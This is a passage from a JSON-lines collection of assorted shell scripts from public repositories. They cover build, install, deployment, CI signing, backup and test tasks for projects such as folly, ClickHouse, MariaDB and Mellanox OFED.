have Parental Controls\n# management applied to it, even if Parental Controls is not \n# configured. The command below will disable the Parental Controls\n# management for the Guest account.\n# https://github.com/rtrouton/rtrouton_scripts/blob/master/rtrouton_scripts/disable_parental_controls_on_OS_X_guest_account/disable_parental_controls_on_OS_X_guest_account.sh\n\n/usr/bin/dscl . -mcxdelete /Users/Guest\nexit 0"} {"text": "#!/bin/bash\n\n##\n#\n# Push the most recent changes in ./jekyll/_site/ up to the live site at\n# http://people.goshen.edu/~stu_phys/traqr/\n#\n##\n\nport=1235 # port to use for ssh tunnel\n\nsrc=\"_site/*\"\ndest=\"stu_phys@127.0.0.1:mypages/traqr/\"\n\n# Check to make sure\necho \"Uploading all content at $PWD/$src to the live site at http://people.goshen.edu/~stu_phys/traqr\"\nread -p \"Are you sure? [y/N] \" -r\necho # (optional) move to a new line\nif [[ $REPLY =~ ^[Yy]$ ]]\nthen\n # do the uploading\n\n\techo \"==> establishing ssh tunnel\"\n\t# Establish ssh tunnel\n\tssh -nNT -L $port:people.goshen.edu:22 <EMAIL> &\n\tPID=$!\n sleep 2 # wait for tunnel to initialize\n\techo \"tunnel PID is $PID\"\n\n\techo \"==> Copying $src to $dest\"\n scp -r -P $port $src $dest\n echo \"==> done copying\"\n\n echo \"==> closing tunnel\"\n\t# Close our ssh tunnel\n\tkill $PID\n\ttrap \"kill $PID\" 1 2 15\n\n echo \"==> tunnel closed\"\nfi"} {"text": "<reponame>SanderSander/prebid-mobile-ios\n#!/bin/sh\n\nopenssl aes-256-cbc -k \"$SECURITY_PASSWORD\" -in ./scripts/certs/distribution.p12.enc -d -a -out ./scripts/certs/distribution.p12\nopenssl aes-256-cbc -k \"$SECURITY_PASSWORD\" -in ./scripts/certs/PrebidMobileDemo.mobileprovision.enc -d -a -out ./scripts/certs/PrebidMobileDemo.mobileprovision\n\n\nsecurity create-keychain -p travis ios-build.keychain\nsecurity import ./scripts/certs/apple.cer -k ~/Library/Keychains/ios-build.keychain -T /usr/bin/codesign\nsecurity import ./scripts/certs/distribution.p12 -k ~/Library/Keychains/ios-build.keychain -P \"\" -T /usr/bin/codesign\nmkdir -p ~/Library/MobileDevice/Provisioning\\ Profiles\ncp ./scripts/certs/PrebidMobileDemo.mobileprovision ~/Library/MobileDevice/Provisioning\\ Profiles/"} {"text": "new_window \"dotfiles\"\nrun_cmd \"cd ownCloud/Development/dotfiles && vim .\"\nsplit_v 10\nrun_cmd \"cd ownCloud/Development/dotfiles && git s\"\nselect_pane 1"} {"text": "#!/bin/bash\nset -x\nfunction die() {\n local exitcode=$?\n set +o xtrace\n echo $@\n cleanup\n exit $exitcode\n}\n\nptg_name=myptg1\n## TODO Sumit: Test for other resources as well after renaming\nfunction cleanup() {\n echo Removing test ptg...\n gbp policy-target-group-delete ptg_name\n}\n\nnoauth_tenant_id=me\nif [ \"$1\" == \"noauth\" ]; then\n NOAUTH=\"--tenant_id $noauth_tenant_id\"\nelse\n NOAUTH=\nfi\n\necho \"NOTE: User should be admin in order to perform all operations.\"\nsleep 3\n\n# test the CRUD of network\nptg=$ptg_name\ngbp policy-target-group-create $NOAUTH $ptg || die \"fail to create ptg $ptg\"\ntemp=`gbp policy-target-group-list -- --name $ptg --fields id | wc -l`\necho $temp\nif [ $temp -ne 5 ]; then\n die \"PTGs with name $ptg is not unique or found\"\nfi\nptg_id=`gbp gbp-list -- --name $ptg --fields id | tail -n 2 | head -n 1 | cut -d' ' -f 2`\necho \"ID of PTG with name $ptg is $ptg_id\"\n\ngbp policy-target-group-show $ptg || die \"fail to show PTG $ptg\"\ngbp policy-target-group-show $ptg_id || die \"fail to show PTG $ptg_id\"\n\ngbp policy-target-group-update $ptg --description \"desc\" || die \"fail to update PTG $ptg\"\ngbp policy-target-group-update $ptg_id --description \"new\" || die \"fail to update PTG $ptg_id\"\n\ngbp policy-target-group-list -c id -- --id fakeid || die \"fail to list PTGs with column selection on empty list\"\n\ncleanup\necho \"Success! :)\""} {"text": "<filename>new_task.sh<gh_stars>0\n#!/bin/bash\n\nCPP_EXT='.cpp'\nPY_EXT='.py'\n\n# get the last folder name\narr=$(ls -d */ | cut -d' ' -f2- | tail -1)\n\n# get the last task number from the folder name\narr=${arr:4:-1}\n\n# create the new folder name with an incremented task\narr=\"task\"$((arr + 1))\n\nif [[ $1 != \"cpp\" && $1 != \"py\" ]]; then\n echo \"Usage: new_task.sh [py | cpp]\"\n exit\nfi\n\n# create the new folder\nmkdir $arr\n\n# go into it\ncd $arr || exit\n\n# according to command line argument make a `.cpp` or a `.py` file\n# and open the file in VS code\n\nif [[ $1 == \"cpp\" ]]; then\n\n # add the extension\n arr=$arr\"$CPP_EXT\"\n\n # copy the corresponding temaplate file\n cp ../template.cpp ./$arr\n\nelif [[ $1 == \"py\" ]]; then\n arr=$arr\"$PY_EXT\"\n cp ../template.py ./$arr\nelse\n echo \"Usage: new_task.sh [py | cpp]\"\n exit\nfi\n\ncode ./$arr"} {"text": "<reponame>4ndyfix/crystal-devbox\n#!/bin/bash\n\n# if no params: bash\nif [ $# -eq 0 ]; then\n exec bash --init-file /usr/local/bin/init.sh\nfi\n\nexec \"$@\""} {"text": "#!/usr/local_rwth/bin/zsh\n\nmodule use ~/.modules\nmodule purge\nmodule load DEVELOP\nmodule load intel/19.0\nmodule load intelmpi/2018\nmodule load cmake/3.16.4\nmodule load chameleon\nmodule load python"} {"text": "#!/bin/bash -x\n# The only prerequisite should be homebrew. If something doesn't work out of\n# the box with just homebrew, let's fix it.\n\n# fail fast\nset -e\n\nBASE_DIR=\"$(cd \"$(dirname -- \"$0\")\"/.. ; pwd)\" # folly/folly\ncd \"$BASE_DIR\"\n\nbrewget() {\n brew install $@ || brew upgrade $@\n}\n\n# tool dependencies: autotools and scons (for double-conversion)\nbrewget autoconf automake libtool\n\n# dependencies\nbrewget glog gflags boost libevent double-conversion\n\nautoreconf -i\n./configure\n\npushd test\ntest -e gtest-1.7.0.zip || {\n curl -O https://googletest.googlecode.com/files/gtest-1.7.0.zip\n unzip gtest-1.7.0.zip\n}\npopd"} {"text": "#!/bin/bash\n\n[[ ! -f LICENSE ]] && echo \"Call the script from DTK root\" && exit 1\n\nARGS=(\n # --token XXX\n --no-pull-requests\n --include-labels 'bug,enhancement,New Feature'\n --enhancement-labels 'enhancement,New Feature'\n)\ngithub_changelog_generator ORNL-CEES/DataTransferKit \"${ARGS[@]}\""} {"text": "#!/usr/bin/env bash\n\nset -e\nset -o pipefail\n\nif [[ -z $1 ]]; then\n echo Usage: $0 CLUSTER_ID\n echo Where: CLUSTER_ID = /api/v2/k8scluster/[0-9]*\n exit 1\nfi\n\nCLUSTER_ID=$1\n\nset -u\n\nsource ./scripts/check_prerequisites.sh\nsource ./scripts/variables.sh\n\nhpecp k8scluster list --query \"[?_links.self.href == '${CLUSTER_ID}'] | [0] | [k8shosts_config] | [0] | [?role == 'master'] | [*][node]\" -o text"} {"text": "#!porbsh\n# build/publish orbital shell binaries\n\nset version 1.0.5\nset nugetext .nupkg\n\ncls\necho \"(b=darkgreen,f=black) \"\necho \"(b=darkgreen,f=black) build/publish orbital shell binaries (rdc)\"\necho \"(b=darkgreen,f=black) \"\necho\nproj\ncd OrbitalShell-CLI\n\necho \"(br)(b=darkgreen,f=black)dotnet publish(rdc)(br)\"\n\n# framework-dependent\n\necho \"(br)(f=green) publish framework-dependent binaries: (b=darkgreen,f=yellow)netcoreapp3.1 (rdc)(br)\"\ndotnet publish --configuration Release --output bin/publish/netcoreapp3.1/\n\n# framework-independent (self-contained) - current plateforms\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)netcoreapp3.1(rdc)(br)\"\ndotnet publish --runtime win-x64 --configuration Release --output bin/publish/win-x64/\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)linux-x64(rdc)(br)\"\n#dotnet publish --runtime linux-x64 --configuration Release --output bin/publish/linux-x64/\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)linux-musl-x64(rdc)(br)\"\n#dotnet publish --runtime linux-musl-x64 --configuration Release --output bin/publish/linux-musl-x64/\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)linux-arm(rdc)(br)\"\n#dotnet publish --runtime linux-arm --configuration Release --output bin/publish/linux-arm/\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)linux-arm64(rdc)(br)\"\n#dotnet publish --runtime linux-arm64 --configuration Release --output bin/publish/linux-arm64/\n\necho \"(br)(f=green)publish self-contained binaries: (b=darkgreen,f=yellow)osx-x64(rdc)(br)\"\n#dotnet publish --runtime osx-x64 --configuration Release --output bin/publish/osx-x64/\n\n# total ~ 250 Mo\n\ncd build\necho \"(br)(b=darkgreen,f=black)nuget publish(rdc)(br)\"\n\necho \"(br)(f=green)nuget publish framework-dependent binaries: (b=darkgreen,f=yellow)netcoreapp3.1 (rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)win-x64(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-win-x64.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-win-x64.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)linux-x64(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-linux-x64.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-linux-x64.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)linux-musl-x64(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-linux-musl-x64.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-linux-musl-x64.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)linux-arm(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-linux-arm.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-linux-arm.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)linux-arm64(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-linux-arm64.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-linux-arm64.$version$nugetext $key\n\necho \"(br)(f=green)nuget publish self-contained binaries: (b=darkgreen,f=yellow)osx-x64(rdc)(br)\"\necho \"(b=darkgreen,f=yellow)PACK(rdc)\"\nnuget pack OrbitalShell-osx-x64.nuspec -Properties version=$version\necho \"(b=darkgreen,f=yellow)PUSH(rdc)\"\nnuget-push OrbitalShell-osx-x64.$version$nugetext $key"} {"text": "<filename>php7/scripts/sphinx_server.sh<gh_stars>0\n#!/bin/sh\nsh /usr/local/bin/await_mysql.sh\n\nsh /etc/sphinx/generate_sphinx_config.sh > /etc/sphinx/production.conf\n/usr/bin/indexer -c /etc/sphinx/production.conf --all\n/usr/bin/searchd -c /etc/sphinx/production.conf"} {"text": "<filename>centos/centos-7.x/centos-7.7-hpc/install_mellanoxofed.sh<gh_stars>0\n#!/bin/bash\nset -ex\n\nwget http://content.mellanox.com/ofed/MLNX_OFED-5.0-1.0.0.0/MLNX_OFED_LINUX-5.0-1.0.0.0-rhel7.7-x86_64.tgz\ntar zxvf MLNX_OFED_LINUX-5.0-1.0.0.0-rhel7.7-x86_64.tgz\n\nKERNEL=( $(rpm -q kernel | sed 's/kernel\\-//g') )\nKERNEL=${KERNEL[-1]}\nyum install -y kernel-devel-${KERNEL}\n./MLNX_OFED_LINUX-5.0-1.0.0.0-rhel7.7-x86_64/mlnxofedinstall --kernel $KERNEL --kernel-sources /usr/src/kernels/${KERNEL} --add-kernel-support --skip-repo"} {"text": "#!/usr/bin/env bash\n#\n# Copyright RedHat.\n# License: MIT License see the file LICENSE\n\n# Inspired by https://disconnected.systems/blog/another-bash-strict-mode/\nset -eEu -o pipefail\ntrap 's=$?; echo \"[ERROR] [$(date +\"%T\")] on $0:$LINENO\"; exit $s' ERR\n\nfunction log() {\n echo \"[$1] [$(date +\"%T\")] - ${2}\"\n}\n\nfunction step() {\n log \"STEP\" \"$1\"\n}\n\nif [[ ! -d ./.git ]]; then\n echo \"error: the build_deploy.sh script must be executed from the project root\"\n exit 1\nfi\n\nCONTAINER_ENGINE=${CONTAINER_ENGINE:-\"docker\"}\nVERSION=\"$(git log --pretty=format:'%h' -n 1)\"\nIMAGE_REGISTRY=${IMAGE_REGISTRY:-\"quay.io\"}\nIMAGE_REPOSITORY=${IMAGE_REPOSITORY:-\"${IMAGE_REGISTRY}/rhoas/application-services-ui\"}\nIMAGE_TAG=${IMAGE_TAG:-${VERSION}}\nIMAGE=\"${IMAGE_REPOSITORY}:${IMAGE_TAG}\"\nRHOAS_QUAY_USER=${RHOAS_QUAY_USER:-}\nRHOAS_QUAY_TOKEN=${RHOAS_QUAY_TOKEN:-}\n\nstep \"Build the image\"\n${CONTAINER_ENGINE} build \\\n -t ${IMAGE} \\\n -f ./build/Dockerfile .\n\nif [[ ! -z \"${RHOAS_QUAY_USER}\" ]] && [[ ! -z \"${RHOAS_QUAY_TOKEN}\" ]]; then\n step \"Push ui image\"\n ${CONTAINER_ENGINE} login --username \"${RHOAS_QUAY_USER}\" --password \"${RHOAS_QUAY_TOKEN}\" \"${IMAGE_REGISTRY}\"\n \n # update the latest image too\n ${CONTAINER_ENGINE} tag ${IMAGE} ${IMAGE_REPOSITORY}:latest\n \n # push both tags\n ${CONTAINER_ENGINE} push ${IMAGE}\n ${CONTAINER_ENGINE} push ${IMAGE_REPOSITORY}:latest\nfi\n\nstep \"Push the client files\"\nCID=$(${CONTAINER_ENGINE} create ${IMAGE})\n${CONTAINER_ENGINE} cp ${CID}:/opt/app-root/src/dist .\n${CONTAINER_ENGINE} rm ${CID}\n\n./hack/push_to_insights.sh \\\n --nachobot-token \"${NACHOBOT_TOKEN}\" \\\n --version \"${VERSION}\" \\\n --branch qa-beta \\\n --author-name Bot \\\n --author-email <EMAIL>"} {"text": "#!/usr/bin/env bash\n# -*- coding: utf8 -*-\n#\n# Copyright (c) 2016-2017 unfoldingWord\n# http://creativecommons.org/licenses/MIT/\n# See LICENSE file for details.\n#\n# Contributors:\n# <NAME> <<EMAIL>>\n\nSOURCE=\"_site\"\nEXCLUDES=\"s3_excludes\"\nPROGNAME=\"${0##*/}\"\n\nhelp() {\n echo \"Syncs _site to specified S3 bucket\"\n echo\n echo \"Usage:\"\n echo \" $PROGNAME -b <s3 bucket>\"\n echo \" $PROGNAME --help\"\n echo\n echo \"Example:\"\n echo \" $PROGNAME -b \\\"s3://dev-door43.org\\\"\"\n exit 1\n}\n\nif [ $# -lt 1 ]; then\n help\nfi\nwhile test -n \"$1\"; do\n case \"$1\" in\n --help|-h)\n help\n ;;\n --bucket|-b)\n BKT=\"$2\"\n shift\n ;;\n *)\n echo \"Unknown argument: $1\"\n help\n ;;\n esac\n shift\ndone\n\n[ -z \"$BKT\" ] && help\n\nopenssl aes-256-cbc -K $encrypted_e2db0eb08244_key -iv $encrypted_e2db0eb08244_iv -in secrets.tar.enc -out secrets.tar -d\ntar xvf secrets.tar\n\nfor x in `ls \"$SOURCE\"`; do\n [ \"$x\" == \"assets\" ] && continue\n echo \"Syncing $x\"\n [ -d \"$SOURCE/$x\" ] && s3cmd -c s3cfg-prod sync -M -F \\\n --no-mime-magic \\\n --exclude-from \"$EXCLUDES\" \\\n --add-header=\"Cache-Control:max-age=600\" \\\n \"$SOURCE/$x/\" \"$BKT/$x/\"\n [ -f \"$SOURCE/$x\" ] && s3cmd -c s3cfg-prod put -M -F \\\n --no-mime-magic \\\n --add-header=\"Cache-Control:max-age=600\" \\\n \"$SOURCE/$x\" \"$BKT/\"\ndone\n\necho \"Done!\""} {"text": "#!/bin/sh\nsleep 10\nsudo python /home/weather/bin/weatherdata.py"} {"text": "#!/bin/bash\n\n# shellcheck source=./common.sh\nsource \"$(dirname \"$0\")/common.sh\" \"$@\"\n\nif (confirm --title \"POWERSHELL\" --yesno \"Would you like to download and install Powershell?\" 8 55); then\n echo \"Installing POWERSHELL\"\n\n createtmp\n\n curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor >microsoft.gpg\n sudo cp microsoft.gpg /etc/apt/trusted.gpg.d/microsoft.gpg\n\n sudo sh -c 'echo \"deb https://packages.microsoft.com/repos/microsoft-debian-bullseye-prod bullseye main\" > /etc/apt/sources.list.d/microsoft.list'\n\n update_packages\n install_packages powershell\n\n cleantmp\nelse\n echo \"Skipping POWERSHELL\"\nfi"} {"text": "<filename>pkgs/available/mariadb.sh\nMARIADB_VERSION=\"10.4.12\"\nMARIADB_SHA256SUM=\"fef1e1d38aa253dd8a51006bd15aad184912fce31c446bb69434fcde735aa208\"\n\ngetpkg https://downloads.mariadb.org/interstitial/mariadb-${MARIADB_VERSION}/source/mariadb-${MARIADB_VERSION}.tar.gz $MARIADB_SHA256SUM\ntar zxf mariadb-${MARIADB_VERSION}.tar.gz\ncd mariadb-${MARIADB_VERSION}\n\nmkdir -p $VENV/opt/mariadb\n\ncmake . \\\n-DCMAKE_INSTALL_PREFIX=$VENV/opt/mariadb \\\n-DCMAKE_PREFIX_PATH=$VENV \\\n-DCMAKE_FIND_FRAMEWORK=LAST \\\n-DCMAKE_VERBOSE_MAKEFILE=ON \\\n-DMYSQL_DATADIR=$DATA_DIR/mysql \\\n-DWITH_SSL=system \\\n-DDEFAULT_CHARSET=utf8 \\\n-DDEFAULT_COLLATION=utf8_general_ci \\\n-DWITHOUT_TOKUDB=1 \\\n-DWITH_UNIT_TESTS=OFF \\\n-DENABLED_LOCAL_INFILE=1 \\\n-DCMAKE_C_ARCHIVE_CREATE=\"<CMAKE_AR> Scr <TARGET> <LINK_FLAGS> <OBJECTS>\" \\\n-DCMAKE_CXX_ARCHIVE_CREATE=\"<CMAKE_AR> Scr <TARGET> <LINK_FLAGS> <OBJECTS>\" \\\n-DCMAKE_C_ARCHIVE_FINISH=\"<CMAKE_RANLIB> -no_warning_for_no_symbols -c <TARGET>\" \\\n-DCMAKE_CXX_ARCHIVE_FINISH=\"<CMAKE_RANLIB> -no_warning_for_no_symbols -c <TARGET>\"\n\n$PMAKE\nmake install"} {"text": "<gh_stars>1-10\ncurl --include --request DELETE http://localhost:3000/maps/2"} {"text": "<filename>dbms/tests/queries/0_stateless/00909_kill_not_initialized_query.sh\n#!/usr/bin/env bash\n\nset -e\n\nCURDIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\n. $CURDIR/../shell_config.sh\n\n\n$CLICKHOUSE_CLIENT -q \"DROP TABLE IF EXISTS test.cannot_kill_query\"\n$CLICKHOUSE_CLIENT -q \"CREATE TABLE test.cannot_kill_query (x UInt64) ENGINE = MergeTree ORDER BY x\" &> /dev/null\n$CLICKHOUSE_CLIENT -q \"INSERT INTO test.cannot_kill_query SELECT * FROM numbers(10000000)\" &> /dev/null\n\nquery_for_pending=\"SELECT count() FROM test.cannot_kill_query WHERE NOT ignore(sleep(1)) SETTINGS max_threads=1, max_block_size=1\"\n$CLICKHOUSE_CLIENT -q \"$query_for_pending\" &>/dev/null &\n\n$CLICKHOUSE_CLIENT -q \"ALTER TABLE test.cannot_kill_query MODIFY COLUMN x UInt64\" &>/dev/null &\n\nquery_to_kill=\"SELECT sum(1) FROM test.cannot_kill_query WHERE NOT ignore(sleep(1)) SETTINGS max_threads=1\"\n$CLICKHOUSE_CLIENT -q \"$query_to_kill\" &>/dev/null &\n\nsleep 3 # just to be sure that 'KILL ...' will be executed after 'SELECT ... WHERE NOT ignore(sleep(1))'\n\ntimeout 15 $CLICKHOUSE_CLIENT -q \"KILL QUERY WHERE query='$query_to_kill' SYNC\" &>/dev/null\n\n$CLICKHOUSE_CLIENT -q \"SELECT count() FROM system.processes where query='$query_to_kill'\"\n\n$CLICKHOUSE_CLIENT -q \"KILL QUERY WHERE query='$query_for_pending'\" &>/dev/null & # kill pending query\n\n$CLICKHOUSE_CLIENT -q \"DROP TABLE IF EXISTS test.cannot_kill_query\" &>/dev/null"} {"text": "#!/usr/bin/env bash\n# myShellEnv v 1.0 [aeondigital.com.br]\n\n\n\n\n\n\n\n#\n# Teste\ntest_mse_str_convertHexToDecimal() {\n testResult=$(mse_str_convertHexToDecimal \"C3 AD\")\n testExpected=\"195 173\"\n\n mse_utest_assertEqual\n}"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\necho 'Installing Pebble SDK Dependencies...'\n\ncd ~ \n\n# Get the Pebble SDK and toolchain\nwget https://developer.getpebble.com/2/download/${PEBBLE_SDK}.tar.gz -O PebbleSDK.tar.gz\nwget http://assets.getpebble.com.s3-website-us-east-1.amazonaws.com/sdk/arm-cs-tools-ubuntu-universal.tar.gz\n\n# Build the Pebble directory\nmkdir ~/pebble-dev\n\ncd ~/pebble-dev\n\n# Extract the SDK\ntar -zxf ~/PebbleSDK.tar.gz\ncd ~/pebble-dev/${PEBBLE_SDK}\n\n# Extract the toolchain\ntar -zxf ~/arm-cs-tools-ubuntu-universal.tar.gz\n\nexport PATH=~/pebble-dev/PebbleSDK-${PEBBLE_SDK}/bin:$PATH"} {"text": "# print usage if not enough input!\n\nfunction deepvariant {\n\n\n\tOUTPUT_DIR=\"${PWD}/covid-output\"\n\tmkdir -p \"${OUTPUT_DIR}\"\n\tbam=$1;\n\tref_fa=$2;\n\n\techo; echo \"output dir created\";\n\techo; echo \"calling varaints now\";\n\n\tsudo docker run -v \"${INPUT_DIR}\":\"/input\" -v \"${OUTPUT_DIR}\":\"/output\" google/deepvariant:'1.0.0' /opt/deepvariant/bin/run_deepvariant --model_type=PACBIO \\\n\t--ref=${bam} --reads=${ref_fa} --output_vcf=/output/${ref_fa}\".vcf.gz\" --intermediate_results_dir /output/intermediate_results_dir --num_shards=4\n\n\n}\n\ndeepvariant;"} {"text": "<filename>scripts/single-screen.sh<gh_stars>0\n#!/bin/bash\nsudo sed -e '/dtoverlay=vc4-fkms-v3d/ s/^#*/#/' -i /boot/config.txt"} {"text": "<gh_stars>1-10\n#!/bin/bash\n# -*- Mode: sh -*-\n# tar-world.sh --- tar up important configuration files\n# Copyright (C) 2015-2019 <NAME> (dharms)\n# Author: <NAME> <<EMAIL>>\n# Created: Friday, May 29, 2015\n# Version: 1.0\n# Modified Time-stamp: <2019-09-13 09:01:26 dan.harms>\n# Modified by: <NAME>\n# Keywords: configuration\n\ntar=$TAR\nuser=$(id -nu)\nos=$(uname)\nhost=$(hostname -s)\nsite=$SITE\ndest=world.tar\nverbose=\n\nif [ -z \"$tar\" ]; then\n tar=$(which tar)\n echo \"Using $tar\"\nfi\nif [ -z \"$tar\" ]; then\n echo \"! no tar available; quitting\"\n exit 1\nfi\nif [ $# -gt 0 ] ; then\n dest=$1\n shift\nfi\n\necho user is \"$user\"\necho os is \"$os\"\necho host is \"$host\"\necho site is \"$site\"\n\necho Generating \"$dest\"...\n\nif [ -f \"$dest\" ] ; then\n rm -f \"$dest\"\nfi\n\n$tar c\"$verbose\"f \"$dest\" config doc src .gnupg .fonts .config .terminfo .proviso.d\n$tar u\"$verbose\"f \"$dest\" --exclude=*.elc .emacs.d\n$tar u\"$verbose\"f \"$dest\" --transform=s%ext%.emacs.d/ext% ext\n$tar u\"$verbose\"f \"$dest\" --transform=s/scripts/bin/ scripts\n$tar u\"$verbose\"f \"$dest\" --transform=s/dotfiles\\\\/// dotfiles\n$tar u\"$verbose\"f \"$dest\" --transform=s/bash\\\\/// bash\n$tar u\"$verbose\"f \"$dest\" --transform=s/tcsh\\\\/// tcsh\n$tar u\"$verbose\"f \"$dest\" --transform=s%user/$user\\\\/%% user/$user\n$tar u\"$verbose\"f \"$dest\" --transform=s%os/$os\\\\/%% os/$os\n$tar u\"$verbose\"f \"$dest\" --transform=s%host/$host\\\\/%% host/$host\n$tar u\"$verbose\"f \"$dest\" --transform=s%site/$site\\\\/%% site/$site\n\necho ...done generating \"$dest\"\n\n# tar-world.sh ends here"} {"text": "#-------------------------------------------------------------------------------\n#\n# swift/alias.zsh\n# Command-line aliases for Swift\n#\n#-------------------------------------------------------------------------------\n\nalias demangle='xcrun swift-demangle'\nalias swiftinfo='xcrun --find swift && swift --version'"} {"text": "<reponame>gregpalmr/alluxio-ranger-sandbox\n#!/usr/bin/env bash\n\nALLUXIO_RAM_FOLDER=${ALLUXIO_RAM_FOLDER:-/dev/shm}\nALLUXIO_WORKER_MEMORY_SIZE=${ALLUXIO_WORKER_MEMORY_SIZE:-1GB}"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n# Copyright Amazon.com Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\nPROJECT_ROOT=\"$1\"\nOUTPUT_BIN_DIR=\"$2\"\nRELEASE_BRANCH=\"${3:-}\"\n\nSCRIPT_ROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd -P)\"\n\ncd $PROJECT_ROOT\n\nCHECKSUMS_FILE=$PROJECT_ROOT/CHECKSUMS\n\nif [[ -n \"$RELEASE_BRANCH\" ]] && [ -d $PROJECT_ROOT/$RELEASE_BRANCH ]; then\n\tCHECKSUMS_FILE=$PROJECT_ROOT/$RELEASE_BRANCH/CHECKSUMS\nfi\n\nif ! sha256sum -c $CHECKSUMS_FILE; then\n\techo \"Checksums do not match!\"\n\techo \"The correct checksums are printed below\"\n\techo \"Please only update if changing GIT_TAG or build flags.\"\n\t$SCRIPT_ROOT/update_checksums.sh $PROJECT_ROOT $OUTPUT_BIN_DIR $RELEASE_BRANCH\n\texit 1\nfi"} {"text": "<gh_stars>0\nexport FOSAS_DB_NAME=fosas\nexport FOSAS_DB_URL=postgres://localhost/fosas\nexport FOSAS_DB_ROOT_URL=postgres://localhost/\nexport FOSAS_GDALSTRING=dbname=fosas"} {"text": "#!/bin/sh\n\ntar -xf AMG-20200304.tar.xz\nrm -rf AMG-bin\nmv AMG AMG-bin\ncd AMG-bin\nmake -j $NUM_CPU_CORES\necho $? > ~/install-exit-status\n\ncd ~/\ncat>amg<<EOT\n#!/bin/sh\ncd AMG-bin\nmpirun --allow-run-as-root -np \\$NUM_CPU_PHYSICAL_CORES ./test/amg > \\$LOG_FILE 2>&1\necho \\$? > ~/test-exit-status\nEOT\nchmod +x amg"} {"text": "# check for missing libudev.so.0 and work around if necessary\necho \"libudev fix\"\nLIBCRTYPOAUTH_PATH=\"$PREFIX/lib/libcryptoauth.so\"\nif ldd \"$CRYPTOAUTH_PATH\" | grep -q 'libudev\\.so\\.0.*not found'; then\n # rename libudev.so.0 to libudev.so.1 in the library so we can find it\n TMPLIB=$(mktemp -t libcryptoauth-XXXXXXXXXX.so)\n patchelf --replace-needed libudev.so.0 libudev.so.1 --output \"$TMPLIB\" \"$LIBCRYPTOAUTH_PATH\"\n # get the path to libudev.so.1\n chmod +x \"$TMPLIB\"\n LIBUDEV_PATH=$(ldd \"$TMPLIB\" | grep libudev.so.1 | sed -n 's,[^/]*\\(/.*\\) (0x.*,\\1,p')\n rm \"$TMPLIB\"\n # link libudev.so.0 to libudev.so.1 for this environment\n ln -s \"$LIBUDEV_PATH\" \"$PREFIX/lib/libudev.so.0\"\nfi\n# exit cleanly no matter what\nexit 0"} {"text": "<filename>tests_all.sh\n#!/usr/bin/env bash\nset -e\n\n###\necho \"testing cutRelationCrisp...\"\ncd cutRelationCrisp\n\n./cutRelationCrisp.py -i tests/in1 -o tests\ndiff -s tests/outranking.xml tests/out1/outranking.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\nrm tests/outranking.xml && rm tests/messages.xml\necho \"ok\"\n\n./cutRelationCrisp.py -i tests/in2 -o tests\ndiff -s tests/outranking.xml tests/out2/outranking.xml > /dev/null\ndiff -s tests/messages.xml tests/out2/messages.xml > /dev/null\nrm tests/outranking.xml && rm tests/messages.xml\necho \"ok\"\n\n./cutRelationCrisp.py -i tests/in3 -o tests\ndiff -s tests/outranking.xml tests/out3/outranking.xml > /dev/null\ndiff -s tests/messages.xml tests/out3/messages.xml > /dev/null\nrm tests/outranking.xml && rm tests/messages.xml\necho \"ok\"\n\n###\necho \"testing ElectreConcordance...\"\ncd ../ElectreConcordance\n\n./ElectreConcordance.py -i tests/in1 -o tests\ndiff -s tests/concordance.xml tests/out1/concordance.xml > /dev/null\ndiff -s tests/messages.xml tests/out1/messages.xml > /dev/null\nrm tests/concordance.xml && rm tests/messages.xml\necho \"ok\"\n\n./ElectreConcordance.py -i tests/in2 -o tests\ndiff -s tests/concordance.xml tests/out2/concordance.xml > /dev/null\ndiff -s tests/messages.xml 